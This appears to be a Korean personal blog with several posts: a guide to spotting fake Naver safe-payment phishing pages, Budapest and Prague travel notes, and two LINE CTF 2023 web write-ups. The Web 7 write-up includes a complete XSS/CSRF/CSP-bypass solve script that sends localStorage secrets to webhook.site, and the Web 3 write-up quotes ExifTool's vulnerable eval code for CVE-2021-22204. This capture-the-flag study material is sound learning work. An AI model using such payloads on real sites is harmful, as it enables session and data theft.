빨리 찾고 쉬자. Tiprest

네이버 중고거래 안전결제 사기

루딘이 — Tue, 17 Dec 2024 09:50:22 +0900

우선 신고 / 제보 방법

이런 글은 보통 피해가 발생하고 찾는 경우가 많기 때문에...
위로의 말씀 드립니다...

주소: https://ecrm.police.go.kr/minwon/main
사이트 내 신고하기 페이지에서 진행
단, 신고는 피해를 입은 사람만 가능하다.
피해를 입지 않은 사람은 제보를 할 수 있음.
네이버에서는 고객센터 전화 연결하기도 힘들고 피해를 입지 않으면 판매자 신고도 안된다.

의심 방법

1 단계. 전화번호(or 안심번호) 가 없다.
- 의심 point: 팔아보면 안다. 최대한 빨리 팔려면 전화번호도 올려서 문자로 응대해야한다.

2단계. 다른 메신저로 연락
- 의심 point: 위와 같다. 문자와 네이버/중고거래앱 채팅이 있는데...?
- 이 경우에는 자연스럽게 부부, 가족, 커플, 친구 등으로 연결하는 경우가 있다.
- 본인인데 연기하는 것일 수도.

3단계. 안전 결제 주소 안내
- 의심 point: 네이버 기준으로 설명하자면 내 계정이 로그인되어 있는 데 주소를 입력하라고함.
- 판매자 응대 시 자연스럽게 결제 주소를 알려준다.
- 다른 의심점은 아래에 상세하게 기술함.

1단계. 전화번호(or 안심번호)가 없다.

이건 안 적는 사람도 많긴 함.
안전거래 여부 상관없이 계좌번호를 필수로 사기 조회 해볼 것.

아래와 같이 안심번호를 사용할 수 있다.
하지만, 전화번호를 공개하기 꺼리는 경우 안올리는 경우도 많다.
개인정보보호...랄까.
(이 부분에 대해 사견으론 광고나 스팸 문자를 받는 순간 이미 늦었다고 생각하는 게....)

실제 사기글

아래와 같이 전화번호가 없다.
계좌번호를 반드시 사기 조회 해볼 것

요즘에는 게시글의 퀄리티가 매우 높다.
지극 정성이다.

2단계. 다른 수단으로 연락

예전엔 대놓고 다른 메신저에서 연락하라고 안내했으나,
이제는 자연스러운 이유로 넘어가게 한다.
(ex. 부부, 가족, 커플, 친구 등?)

3단계. 안전 결제 주소 안내

여기도 예전과는 다른게 최대한 naver 주소와 비슷하게 만듦.
근데 이거 때문에 간신히 고객센터 연결해서 물어봤는 데 확인은 안해줬음...

사실 본인은 여기서 결제하려고 했음...
다행히 페이지가 동작을 안하길래 NT적 사고가
네이버가 만든 건데 안된다고? 까지 미쳐서
결제를 안하고 조사하게 된거...

의심 1. 네이버는 판매글에서 바로 안전결제하는 구조

절대로 링크를 줄리가 없다.
간혹(?), 정말 착한 판매자가 실제 안전결제 링크를 줄 수 있으나 개인적 경험으론 그런 일은 발생한 적이 없다...
오히려 착하면 이상한 세상이랄까...

다만, 정말 착한 사람일 수 있으니 판매글에서도 안전결제가 가능해야하므로
링크를 받게 되면 판매글에서 안전결제가 가능한지 확인해볼 것.

의심 2. 배송지 등록

링크를 클릭하면 주문/결제 페이지로 접속하게 된다.
그런데, 네이버 결제 페이지에서 내 정보가 안 뜬다? 다시 입력하라고? 말이 안된다.
진짜 네이버가 그러면 개발부서 실망이다. 그 네카라쿠배의 네이버가?

아래는 사기 사이트이다. 배송지를 입력하라고 한다.

의심 3. 안전결제 수수료

안전결제 수수료는 적어도 네이버에서는 판매금액의 일정 비율로 정해진다.
게다가....이미지처럼 싸지도 않다...
물론 이거는 사기 방식에 대한 피드백(신고)와 개선을 통해 자동 계산되도록 바뀔 수도 있다.

의심 4. naver.com 이 아님

위의 주소는 naverllpay.com 으로 적혀 있다.
하지만 실제 주소는 https://orders.pay.naver.com/ 로 naver.com 이다.
정상적으로 접속하면 아래와 같다.

의심 5. 중국 IP

중국 IP...물론 싸니까 쓸 수 있다. 다만 네이버가...?
네이버는 네이버클라우드라는 계열사가 있다.
중국껄 쓴다고?

IP 확인 방법

IP 확인

윈도우: 실행 - cmd.exe

Apple: console

nslookup 입력 후 확인된 URL 주소 입력

아래는 사기 사이트 조회 결과

> new.cafe.naverllpay.com
Server:        168.126.63.1
Address:    168.126.63.1#53

Non-authoritative answer:
Name:    new.cafe.naverllpay.com
Address: 103.117.72.232

아래는 네이버 조회 결과

> orders.pay.naver.com
Server:        168.126.63.1
Address:    168.126.63.1#53

Non-authoritative answer:
orders.pay.naver.com    canonical name = orders.pay.naver.com.nheos.com.
Name:    orders.pay.naver.com.nheos.com
Address: 117.52.133.21
Name:    orders.pay.naver.com.nheos.com
Address: 117.52.133.22

> orders.pay.naver.com.nheos.com
Server:        168.126.63.1
Address:    168.126.63.1#53

Non-authoritative answer:
Name:    orders.pay.naver.com.nheos.com
Address: 110.93.154.9
Name:    orders.pay.naver.com.nheos.com
Address: 110.93.154.8

국가 확인 방법

https://후이즈검색.한국

위에서 확인된 IP 입력

아래는 사기 사이트 IP 조회 결과
중국으로 나온다.

아래는 네이버 IP 조회 결과
네이버 클라우드를 확인할 수 있다.
적어도 한국 통신사가 나온다.

마무리

사기 당할 뻔 했으나...다행히 피해를 입은 건 아닌데...
그래서 신고를 못한다 ㅠㅠ

이번 경험을 정리를 해둬야 추가 피해가 발생하지 않겠다 싶어서 작성한 글...

무작정 의심하는 것도 좋지 않으나
아는 선에서는 의심하는 자세가 중요하달까
그만큼 세상 공부를 해야하는게 중요하달까

뭔가 이상할 때 위화감을 느끼고 의심하고 조사할 수 있어야 할텐데

계좌 번호 요청

아래는 카톡을 통해 받은 계좌번호 조회 결과이다.
이 또한 요청했을 때 안주면 사기...겠지?
전화번호는 끝까지 안주더라.

계좌번호 조회 결과

판매글에서 의심정보 조회할 수 있다.
한 쪽에는 안 나올 수 있기 때문에
더치트와 중고나라 모두 조회해봐야한다.

체코 프라하 여행 정리

루딘이 — Thu, 16 Nov 2023 17:50:50 +0900

체스키 크룸로프 망토다리 뷰

2023.11.15 - [여행/부다페스트&프라하[23.10.08~23.10.15]] - 부다페스트&프라하 일정 요약

2023.11.16 - [여행/부다페스트&프라하[23.10.08~23.10.15]] - 헝가리 부다페스트 여행 정리

여행 일정

체코 프라하 여행 일정

체코어 기초 회화

안녕하세요(좋은 아침) : Dobrý den(도브리덴)
감사합니다 : Děkuji(데꾸이)

교통권

+ 시내 교통

“PID Litacka” 앱 다운 및 설치

대충 본인의 여행 스케쥴을 잘 점검하여 표를 선택해야 한다.
( 30분권 , 90분권, 24시간권, 72시간권 )
개시하는 순간부터 카운트 시작~
오전 12시에 시작하지 않고 원하는 시간부터 시작하니까 여행 계획을 잘 세우면
24시간 티켓으로 이틀 사용 가능~
(24시간 티켓 120CZK * 2(명) * 2(날짜) = 480 CZK
30분 티켓으로만 다녀도 괜찮을 듯?
(30분 티켓 30 CZK)

+ 공항 버스(AE)

가격: 100 CZK
꼭 타야하는지 확인 필요
(우리나라 지도앱처럼 구글 지도로 경로 확인 가능)

현금 출금(수수료 무료 ATM)

KB bank(Komerční banka) → 출금 수수료 없는 ATM

- 핀번호 6자리 요구 시 입력한 4자리 + 00 입력하면 된다.
- 은행 업무시간이 끝나도 ATM 이용은 가능합니다.

헝가리 부다페스트 여행 정리

루딘이 — Thu, 16 Nov 2023 16:36:14 +0900

겔레르트 언덕 야경 뷰

헝가리 부다페스트 여행 정리

2023.11.15 - [여행/부다페스트&프라하[23.10.08~23.10.15]] - 부다페스트&프라하 일정 요약

2023.11.16 - [여행/부다페스트&프라하[23.10.08~23.10.15]] - 체코 프라하 여행 정리

일정

Parlamenti nezopont: 국회의사당 강 건너편의 뷰 포인트
Gravity Boulder: 부다페스트 실내 클라이밍 장
헝가리 국립 오페라극장: 돈 키호테 발레 공연
(날짜가 정해져있으므로 미리 확인 필요)

헝가리어 기초 회화

많은 분들이 좋아했던 현지어 사용.

감사합니다는 정말 많이 사용했다.

안녕하세요, 안녕히 계세요 : Szia(씨어)
감사합니다 : köszönöm(꾀쉐뉌)
맛있다 : Finom(피넘)

교통권

비행기를 부다페스트 in-out으로 하는 바람에

15일권을 구매했다

(1) 공항버스(100E) : 2,200 포린트
(2) 1회권 : 450 포린트
(3) 10회권 : 4,000 포린트
(4) 24시간 : 2,500 포린트
(5) 72시간 : 5,500 포린트
(6) 15일권 : 6,300 포린트

+ 공항버스 100E 이용(별도 구매)

요금 : 1인당 편도 2,200포린트(약 8,300원)
출발 정보 : Deak Ferenc ter에서 7분마다 출발
(너무 이르고 늦은 경우 배차간격 다르나 24시간 운영)
이용정보 : Deak Ferenc ter, Kalvin ter 두 곳에서 탑승 가능.

Deak(데악광장)에서 출발해

한 번만 서고 바로 공항으로 가기 때문에

35분 밖에 안 걸린다.

24시간 운영하기 때문에

시간이 촉박하고 이르거나 늦은 시간에 이동 시 주로 이용

100E 공항버스는 데악역에서 탑승

+ M3 + 200E 이용(시내 교통권에 포함)

요금 : 교통권 그대로 사용
이용 정보 : 지하철 M3라인 종점 Kobanya-Kispest에서 200E 환승
- 역 엘리베이터는 중간 쯤에 위치
- 힘들게 계단을 이용하진 말자

M3+200E 이용의 장점은 상대적으로 저렴한 요금이다.
기존 구매한 패스(1day, 그룹, 한 달… 관계없음)가 있다면

추가 구매 없이 이용 가능하다.

패스가 없는 경우에는

Budapest Go 앱에서 구매 가능한

90분짜리 표(750 포린트, 약 2,800원)를 사용하면 되고
앱이 없다면 싱글 티켓 2장으로 각각 지하철, 버스를 이용할 수 있다. (총 900 포린트, 약 3,400원)

한 가지 더 차이가 있다면 100E는 공항 출발 측에 도착하고,
200E는 도착 측에 도착하기 때문에 한층 올라가야 함!

현금 출금(수수료 무료 ATM)

otp bank ATM
- 핀번호 6자리 요구 시 입력한 4자리 + 00 입력하면 된다.
- EURO 가능 ATM: Deák Ferenc utca(데악 패션 거리) OTP 은행
- 구글 지도 검색하면 다른 데도 많다.

은행 업무시간이 끝나도 ATM 이용은 가능하다.

현지 유심칩

현지에서 유심을 구매해서 사용하는 경우

주로 Vodafone에서 구매하게 됩니다.

+ 피해야할 매점(Vodafone 데악광장점)

여기는 구글 지도나 블로그에서

후기를 보시면 알겠지만

대놓고 배짱장사

또는 사기를 칩니다.

+ 추천 지점(뉴욕카페 근처)

숙소에서 가까워서 데악광장점에 갔으나

역시나 배짱장사를 해서

가장 가까운 지점으로 이동해서 구매함

갈 땐 몰랐는데

가보니 뉴욕 카페 옆이더라...

근처에 OTP 은행도 있으니

카드 안되면 가서 뽑아오시면 됩니다.

(제 경험..)

부다페스트&프라하 일정 요약

루딘이 — Wed, 15 Nov 2023 19:10:02 +0900

헝가리 부다페스트와 체코 프라하

여행 일정 및 전체 지출 요약입니다.

각 도시별 여행 정리

2023.11.16 - [여행/부다페스트&프라하[23.10.08~23.10.15]] - 헝가리 부다페스트 여행 정리

2023.11.16 - [여행/부다페스트&프라하[23.10.08~23.10.15]] - 체코 프라하 여행 정리

전체 일정 Gantt

일정: 인천 -> 베이징 -> 부다페스트 -> 프라하 -> 상하이 -> 인천.

날씨 및 주요 일정

당일 실제 날씨와는 차이를 보였음
- 월요일 오후~밤에 비 내림…

	10/08 (일)	10/09 (월)	10/10 (화)	10/11 (수)	10/12 (목)	10/13 (금)	10/14 (토)
베이징	☁️-> ️ 22/11 ℃
부다 페스트		️-> ️ 17/10 ℃	☁️-> ️ 20/10 ℃	️-> ️ 22/11 ℃			️-> ️ 23/14 ℃
프라하				☁️-> ️ 22/11 ℃	☀️-> ️ 23/13 ℃	⛅->☁️ 21/11 ℃
체스키 크룸로프					☀️-> ️ 21/11 ℃
주요 일정	- 베이징 공항 PP카드 라운지 - 야경투어	- 루다스 온천 - 돈키호테 발레	- 갤레르트 온천 - RyanAir 부다페스트-프라하	- 체스키 크룸로프 투어	- 프라하 시내 투어 - 돈 지오반니 오페라 - 야간열차 프라하-부다페스트	- 입국

To-Do

여행 경비

일정	도시	원화	설명	분류	날짜
일정	도시	원화	설명	분류	날짜
출국	-	2,331,712	Air China PP카드 라운지 이용 비용 추가	교통	10/08(일)
중국 베이징	중국 베이징	-	밖을 나가지 못해서 쓰질 못함...	-	10/08(일)
헝가리 부다페스트	헝가리 부다페스트	297,186	12,600 HUF(교통비) + 숙소(부자하우스, 250,000 )	교통	10/09(월)
부다페스트 유심 구매	헝가리 부다페스트	48,880	13,000 HUF	통신	10/09(월)
Menza Restaurant	헝가리 부다페스트	61,716	16,531 HUF	️식사	10/09(월)
세체니 온천(10-09)	헝가리 부다페스트	127,211	26,000 HUF(입장료) + 8,000 HUF(수영복)	♨️온천	10/09(월)
Gundel Cafe Patisserie Restaurant	헝가리 부다페스트	64,613	17,308 HUF	️식사	10/09(월)
야경투어	헝가리 부다페스트	123,478	입장료 + 28,606 원 / 20 EUR(투어 차량) + 10,872(우산, 음료)	️투어	10/09(월)
Gravity Boulder	헝가리 부다페스트	8,580	2,300 HUF	‍♂️클라이밍	10/10(화)
루다스 온천	헝가리 부다페스트	44,001	11,800 HUF	♨️온천	10/10(화)
Hungarikum Bisztró	헝가리 부다페스트	70,000	18,745 HUF	️식사	10/10(화)
카페 뉴욕	헝가리 부다페스트	24,733	6,641 HUF	☕카페	10/10(화)
돈키호테 발레	헝가리 부다페스트	261,220	69,400 HUF	공연	10/10(화)
Gravity Boulder(23.10.11)	헝가리 부다페스트	8,563	2,300 HUF	‍♂️클라이밍	10/11(수)
갤레르트 온천	헝가리 부다페스트	69,808	18,800 HUF	♨️온천	10/11(수)
부다페스트 공항 아시아 음식점	헝가리 부다페스트	41,652	11,190 HUF	식당	10/11(수)
RyanAir 부다페스트-프라하	-	198,171	-	교통	10/11(수)
체코 프라하	체코 프라하	306,885	200 CZK(공항버스 AE) + 240 CZK(24시간 티켓) + 숙소(예스프라하 23,600 + 257,458 /180 EUR)	교통	10/11(수)
코즐로브나	체코 프라하	44,609	760 CZK	️식사	10/11(수)
체스키 크룸로프 투어	체코 프라하	188,497	투어(158,000 ) + 휴게소(3,688 원, 63 CZK) + 점심(베트남 쌀국수 26,809 /458 CZK)	️투어	10/12(목)
Marina Ristorante	체코 프라하	86,823	1,475 CZK	️식사	10/12(목)
프라하 시내 투어	체코 프라하	163,392	₩120,000(투어 비용) + 29,555 원(프라하 투어 입장료 2*250 CZK) + 13,837 원(프라하성 스타벅스 234 CZK)	️투어	10/13(금)
Porks(프라하성 꼴레뇨 맛집)	체코 프라하	32,579	551 CZK	️식사	10/13(금)
카페 루브르	체코 프라하	7,327	-	☕카페	10/13(금)
돈 지오반니 오페라	체코 프라하	188,053	3,180 CZK	공연	10/13(금)
야간열차 프라하-부다페스트	-	243,822	물 구입	교통	10/13(금)
입국	-	334,749	면세품 구매 (젤리 9,510 HUF, 초콜릿*4 14,512 HUF, 조니워커 블루라벨 243,860 )	교통	10/14(토)

전체 경비

5,378,260

[Line CTF 2023] Web 7번: Another Secure Store Note

루딘이 — Mon, 17 Apr 2023 21:28:01 +0900

LINE CTF 2023의

Web 분야 7번 문제 입니다.

# 개요

다양한 취약점들이

복합적으로 적용된 문제입니다.

적용된 취약점:
1. 2022년 10월 Intigriti XSS 챌린지
- Object.defineProperty를 통한 document.domain 변조
- Object.defineProperty(document, 'domain', {get: () => "vuln.com"});

2. Firefox의 Dangling Markup Injection 필터링 미흡

Web 7번 문제

# 환경 및 사이트 구성

문제 파일을 다운받으면,

환경 구성 정보가 담긴 파일들과

소스 코드들이 있으나

환경 구성을 위한 Dockerfile이 없어서

문제 출제자가

외부로 오픈한 서버를 사용했습니다.

Web 7번 문제

적당한 Username과 Password를 입력하면

로그인하면 Note를 저장할 수 있는 페이지가 나탑니다.

적당한 내용을 입력하면 Local Storage에 저장되는데,

단지 저장될 뿐 새로고침을 해도

화면에는 나타나지 않기 때문에

Note로는 기능하지 않습니다.

또한, 위의 폼으로 이름을 변경할 수 있습니다.

예를 들어, 처음에는

유저명에서 따온 asdfasdf이라는 이름이었는데,

아래와 같이 fdsafdsa로 변경할 수 있었습니다.

최초 로그인

username 변경 이후

# 분석

문제가 복합적이다 보니

문제 풀이를 위해

다양한 파일을

참고해야 합니다.

+ docker-compose.yml

FLAG의 위치 뿐만 아니라

여러가지 환경변수를

확인할 수 있습니다.

version: "3.5"

services:
    assn-redis:
        image: redis:latest
        command: ["redis-server", "/etc/redis/redis.conf"]
        volumes:
            - ./redis.conf:/etc/redis/redis.conf
        restart: always
        container_name: web.assn-redis
        networks:
            - assn-web
            - assn-redis-bot

    ...
    
    assn-bot:
        build:
            context: ./bot/
            dockerfile: Dockerfile
        restart: always
        container_name: web.assn-bot
        environment:
            - FLAG=LINECTF{redacted}
            - REDIS_PASSWORD=redacted
            - ADMIN_USERNAME=redacted
            - ADMIN_PASSWORD=redacted
            - DOMAIN=localhost
            - PORT=11004
        depends_on:
            - assn-redis
        networks:
            - assn-redis-bot

networks:
    assn-web: {}
    assn-redis-bot: {}

FLAG는 assn-bot의

환경변수에 선언되어 있습니다.

+ /bot/pupeteer.js

bot이 어떻게 동작하는지

확인할 수 있습니다.

const Puppeteer = require("puppeteer");
const { FLAG: flag } = process.env;

function sleep(time) {
  return new Promise((resolve) => {
    setTimeout(resolve, time);
  });
}

// Admin visiting your URL
async function visit(url) {
  const browser = await Puppeteer.launch({
    product: "firefox",  // firefox 브라우저 실행
    headless: true,
    ignoreHTTPSErrors: true,
  });
  
  /* 문제 사이트 접속 및 ADMIN 로그인 */
  const page = await browser.newPage();
  const pageUrl = `https://${process.env.DOMAIN}:${process.env.PORT}`;

  await page.goto(pageUrl, { timeout: 3000, waitUntil: "domcontentloaded" });
  await page.type("#username", process.env.ADMIN_USERNAME);
  await page.type("#password", process.env.ADMIN_PASSWORD);
  await page.click("#submit");
  await sleep(500);
  
  /* FLAG를 ADMIN의 localStorage에 secret에 저장*/
  await page.evaluate((flag) => {
    localStorage.setItem("secret", flag);
  }, flag); // Store flag to localStorage secret
  
  /* 입력받은 URL로 접속 후 종료 */
  await page
    .goto(url, { timeout: 3000 })
    .catch((error) => console.error(error));
  await sleep(3000);
  await page.close();
  await browser.close();
}

module.exports = { visit };

bot의 행동은 다음과 같습니다.

1. 문제 사이트 접속

2. ADMIN 로그인

3. Flag를 localStorage의 secret에 저장

4. 입력받은 URL로 접속 후 종료

CSRF를 발생시키고

CSP를 우회하며,

localStorage에서 FLAG를 획득하는

스크립트를 삽입한 URL로

bot을 접속 시키면

FLAG를 획득할 수 있습니다.

+ /web/views/getSetting.js

CSRF token을

확인할 수 있습니다.

document.domain으로

현재 domain을 검증하고 있기 때문에

이 검증을 우회해야 합니다.

function isInWindowContext() {
  const tmp = self;
  self = 1; // magic
  const res = (this !== self);
  self = tmp;
  return res;
}

// Ensure it is in window context with correct domain only :)
// Setting up variables and UI
if (isInWindowContext() && document.domain === '<%= domain %>') {
  const urlParams = new URLSearchParams(location.search);
  try { document.getElementById('error').innerText = urlParams.get('error'); } catch (e) {}
  try { document.getElementById('message').innerText = urlParams.get('message'); } catch (e) {}
  try { document.getElementById('_csrf').value = '<%= csrf %>'; } catch (e) {}
}

+ /web/index.js

메인 페이지에서는

여러 페이지의 로직 뿐만 아니라

Cookie 생성 및

CSP 설정을 확인할 수 있습니다.

const fs = require('fs')
const ejs = require('ejs')
const path = require('path')
const crypto = require('crypto')
const express = require('express')
const cookieParser = require('cookie-parser')
const { db, createNewUser, getCsrf } = require('./db');

const app = express()

app.use('/', express.static(path.join(__dirname, 'public')))
app.use(express.urlencoded({extended: false}))
app.use(cookieParser())

function rand() { return crypto.randomBytes(20).toString('hex') }

app.use((req, res, next) => {
  const { id } = req.cookies;
  req.user = (id && db.cookies[id] && db.cookies[id].username) ? db.cookies[id].username : undefined;
  
  /* The CSP is set as: default-src 'self'; base-uri 'self'; script-src 'nonce-cookie_nonce_값'. */
  const csp = (id && db.cookies[id] && db.cookies[id].nonce) ? `script-src 'nonce-${db.cookies[id].nonce}'` : '';
  res.setHeader('Content-Security-Policy', `default-src 'self'; base-uri 'self'; ${csp}`)
  next()
})

function shouldBeLoggedIn(req, res, next) { if (!req.user) res.redirect('/'); else next(); }
function shouldNotBeLoggedIn(req, res, next) { if (req.user) res.redirect('/profile'); else next(); }
function csrfCheck(req, res, next) { 
  const { csrf } = req.body
  if (csrf !== getCsrf(req.cookies.id)) return res.redirect(`${req.path}?error=Wrong csrf`)
  next()
}

app.get('/', shouldNotBeLoggedIn, (req, res) => {
  res.render('auth.ejs')
})

app.post('/', shouldNotBeLoggedIn, csrfCheck, (req, res) => {
  const { username, password } = req.body
  try {
    if (db.users[username]) {
      if (db.users[username].password !== password) throw 'Wrong password';
    } else createNewUser(username, password)
    const newCookie = rand()
    db.cookies[newCookie] = Object.create(null)
    db.cookies[newCookie].username = username
    db.cookies[newCookie].csrf = rand()
    db.cookies[newCookie].nonce = rand()
    
    /* Cookie는 다행이 SameSite가 None 이다. */
    res.setHeader('Set-Cookie', `id=${newCookie}; HttpOnly; SameSite=None; Secure`)
    res.redirect('/profile')
  } catch (err) {
    res.redirect(`/?error=${err}`)
  }
})

/* csp.gif로 접근하면 nonce cookie가 바뀜... */
app.get('/csp.gif', shouldBeLoggedIn, (req, res) => {
  db.cookies[req.cookies.id].nonce = rand()
  res.setHeader('Content-Type', 'image/gif')
  res.send('OK')
})

/* CSRF token 생성 */
const settingsFile = fs.readFileSync('./views/getSettings.js', 'utf-8');
app.get('/getSettings.js', (req, res) => {
  res.setHeader('Content-Type', 'text/javascript');
  const response = ejs.render(settingsFile, { 
    csrf: getCsrf(req.cookies.id),
    domain: process.env.DOMAIN,
  });
  res.end(response);
})

/* profile 페이지 로드 시 인라인 스크립트를 위한 Nonce 가 필요 */
app.get('/profile', shouldBeLoggedIn, (req, res) => {
  res.render('profile.ejs', { 
    name: db.users[req.user].name,
    nonce: db.cookies[req.cookies.id].nonce,
  });
})

app.post('/profile', shouldBeLoggedIn, csrfCheck, (req, res) => {
  const { name } = req.body;
  db.users[req.user].name = name;
  res.redirect('/profile?message=Successfully updated name')
})

// For interacting with admin bot
app.use('/bot', shouldBeLoggedIn, require('./bot.js'));

// We might need to change this to https in real challenge
const https = require('https');
const port = 4567
https
  .createServer({ 
    key: fs.readFileSync('key.pem'),
    cert: fs.readFileSync('cert.pem'),
  }, app)
  .listen(port, () => {
    console.log(`Server is runing at port ${port}`)
  });

# 풀이

문제 풀이를 위해서는

아래 우회 방법을 포함하는

스크립트를 작성하여

ADMIN이 그 스크립트를

실행하도록 해야합니다.

우회 스크립트 요구사항:
1. CSRF token 획득
- 요구: document.domain === '<%= domain %>' 조건 우회
- 방법: Object.defineProperty(document, 'domain', {get: () => "35.200.57.143"});
- 대회 당시 서버의 IP 가 35.200.57.143

2. CSP 우회
- 요구: XSS를 위한 nonce 획득(인라인 스크립트 실행)
- 방법: Firefox의 Dangling Markup Injection 필터링 미흡
(<meta http-equiv="refresh" content='1; url=https://<your_domain>/?leak=)

3. nonce 갱신 우회
- 요구: /csp.gif 접속 방지
- 방법1(출제자 의도): /profile이 아닌 /profile/로 접속하여 /profile/csp.gif 페이지(존재하지 않음)를 호출
(profile.ejs 파일의 line 8: <img src=csp.gif>
src가 상대 주소라 /profile/로 하면 접속지는 /profile/csp.gif가 됨)

- 방법2(다른 방법): <base href='https://35.200.57.143:11004/[미존재_Page]'> Tag로 스크립트 제작
- 출제자가 CSP 설정을 잘못해서 두 번째 방법이 가능 (base-uri 'self')

+ Solve!

위의 우회 조건을

모두 만족시키는 스크립트는

아래와 같습니다.

<html>
<body>
<script>
  // documnet.domain 필터 우회
  Object.defineProperty(document, 'domain', {get: () => "assn.anctf.tk"});
</script>

<!-- CSRF token 획득 -->
<form action="https://assn.anctf.tk/profile" method=POST>
  <input class=change-name type=text name=name>
  <input type=text name=csrf id=_csrf>
  <input type=submit value=Submit>
</form>

<script src="https://assn.anctf.tk/getSettings.js"></script>
<script>
(async () => {
  if(document.location.href.length<=60){
    // CSP 우회를 위한 Dangling Markup Injection
    document.getElementsByName('name')[0].value=`<meta http-equiv="refresh" content='0; url=http://webhook.site/?b=`;
    document.forms[0].submit();
    setTimeout(() => window.location='https://assn.anctf.tk/profile/', 30);
  } else {
    // nonce 값, FLAG 획득
    var url = document.location.href;
    var nonce = url.split('nonce=')[1].split('%20')[0];
    var paylaod = `<script nonce=${nonce}>document.location='http://webhook.site/?b='+localStorage.getItem('secret');</`+`script>`;
    document.getElementsByName('name')[0].value=paylaod;
    document.forms[0].submit();
    setTimeout(() => window.location='https://assn.anctf.tk/profile/', 50);
  }
})()
</script>
</body>
</html>

문제를 풀기 위해

ADMIN bot이 접속할 사이트로

https://webhook.site 를 이용했습니다.

위의 스크립트를 이용하면

ADMIN bot이 어떻게

값을 보내는지 확인할 수 있습니다.

최초 접근, 스크립트가 실행됨

nonce 획득

Solved!!

[Line CTF 2023 Write Up] WEB 3번: Imagexif

루딘이 — Tue, 11 Apr 2023 14:57:58 +0900

LINE CTF 2023의

Web 분야 3번 문제 입니다.

# 개요

이번에는 오픈 소스의 CVE 취약점을 이용한 문제입니다.

Web 3번 문제

# 환경 구성

일부러 문제점을 만든 문제가 아닌

실제로 존재하는 취약점을 이용해서 그런지

사이트를 제대로 구성한 모습입니다.

Nginx와 Backend 사이트로 나뉘는 데

Nginx 서버는

Reverse Proxy 서버로

사용되는 듯 하고,

실제 서비스는

Backend 서버의 Python Flask에서

제공됩니다.

문제 파일을 다운받으면,

Docker Image의 내용이 명시된

Dockerfile과

docker-compose.yaml 파일이

있습니다.

아래 명령어로

도커 컨테이너를 설치 및 실행시킬 수 있습니다.

# DockerFile과 docker-compose.yaml 파일이 있는
# 디렉토리로 이동
> cd dist

# Docker 컨테이너 설치&실행
> docker-compose up

Web 3번 문제 설치중

설치된 후 실행 중인 컨테이너의 CMD 창은

종료해도 상관 없습니다.

아래 명령어를 통해

실행 중인 컨테이너의 PORT를

확인할 수 있습니다.

# 실행 중인 Docker Container 확인
> docker ps

접속 PORT 확인

도커가 실행 중인 서버(호스트)의

IP와 PORT로 접속하면

문제 사이트를 확인할 수 있습니다.

이미지 파일을 업로드하면,

업로드한 이미지의 정보를 보여줍니다.

File Upload 페이지

업로드된 이미지 파일 정보

# 분석

문제로 제공된 파일들 중

문제를 푸는 데

중요한 파일은

docker-compose.yml 파일과

backend 서버의

Dockerfile 입니다.

파일입니다.

+ docker-compose.yml

docker-compose.yml 파일에서는

FLAG의 위치와

Nginx 서버, Backend 서버의

네트워크 구성을 확인할 수 있습니다.

version: "3.5"

services:
  nginx:
    build:
      context: ./nginx/
    container_name: line_linectf2023_nginx
    restart: always
    image: line_linectf2023_nginx
    volumes:
      - "./nginx/log:/var/log/nginx"
    ports:
      - "12000:80" # in -> out
    networks:
      - line-linectf2023-frontend  # 외부로 연결되는 Network
      - line-linectf2023-internal  # 내부 Network 소속
    depends_on:
      - backend

  backend:
    build:
      context: ./backend/
    container_name: line_linectf2023_backend
    restart: always
    environment:
      - FLAG=LINECTF{redacted}  # 환경변수에 FLAG 세팅
      - SCRIPT_ENV=production
    networks:
      - line-linectf2023-internal  # 내부 Network 소속

networks:
  line-linectf2023-frontend:
    ipam:
      driver: default
      config:
        - subnet: 172.27.0.0/16
  line-linectf2023-internal:
    driver: bridge
    internal: true

FLAG는 backend 서버의

환경변수에 선언이 되었으며,

network 설정들을 보면

backend 서버는

line-linectf2023-internal(내부 network)에만,

nginx 서버는

line-linectf2023-internal(내부 network) 와

line-linectf2023-frontend(외부 network)

모두 연결되어 있습니다.

+ Dockerfile (backend 서버)

backend 서버의 Dockerfile에는

python flask 서버를 구동하기 위한

패키지 설치 및 기타 설정 등이

기재되어 있습니다.

FROM python:3.11.2

...

RUN wget https://github.com/exiftool/exiftool/archive/refs/tags/12.22.tar.gz && \
    tar xvf 12.22.tar.gz && \
    cp -fr /exiftool-12.22/* /usr/bin && \
    rm -rf /exiftool-12.22 && \
    rm 12.22.tar.gz

...

다른 패키지는

requirements.txt의 목록에서

pip 명령어로 설치하지만

유독,

exiftool 패키지만

wget을 통해

버전을 지정하여 설치하고 있습니다.

+ Python os.environ.get("FLAG")

Python에서 시스템의 환경변수를

불러오는 함수를 검색해도,

FLAG를 불러오는 함수는

찾을 수 없습니다.

Python Flask 코드에서 불러오는 환경변수들

# 풀이

설치된 exiftool의 12.22 버전에는

CVE-2021-22204 취약점이 존재합니다.

+ CVE-2021-22204

ExifTool 버전 7.44 이상에서

DjVu 파일 형식의 사용자 데이터를 잘못 처리하면

악의적인 이미지를 분석할 때

임의 코드를 실행할 수 있는

RCE 취약점 입니다.

아래는 취약점이 존재하는

ParseAnt 함수의 전문 입니다.

sub ParseAnt($)
{
    my $dataPt = shift;
    my (@toks, $tok, $more);
    # (the DjVu annotation syntax really sucks, and requires that every
    # single token be parsed in order to properly scan through the items)
Tok: for (;;) {
        # find the next token
        last unless $$dataPt =~ /(\S)/sg;   # get next non-space character
        if ($1 eq '(') {       # start of list
            $tok = ParseAnt($dataPt);
        } elsif ($1 eq ')') {  # end of list
            $more = 1;
            last;
        } elsif ($1 eq '"') {  # quoted string
            $tok = '';
            for (;;) {
                # get string up to the next quotation mark
                # this doesn't work in perl 5.6.2! grrrr
                # last Tok unless $$dataPt =~ /(.*?)"/sg;
                # $tok .= $1;
                my $pos = pos($$dataPt);
                last Tok unless $$dataPt =~ /"/sg;
                $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
                # we're good unless quote was escaped by odd number of backslashes
                last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
                $tok .= '"';    # quote is part of the string
            }
            # must protect unescaped "$" and "@" symbols, and "\" at end of string
            $tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
            # convert C escape sequences (allowed in quoted text)
            $tok = eval qq{"$tok"};
        } else {                # key name
            pos($$dataPt) = pos($$dataPt) - 1;
            # allow anything in key but whitespace, braces and double quotes
            # (this is one of those assumptions I mentioned)
            $tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
        }
        push @toks, $tok if defined $tok;
    }
    # prevent further parsing unless more after this
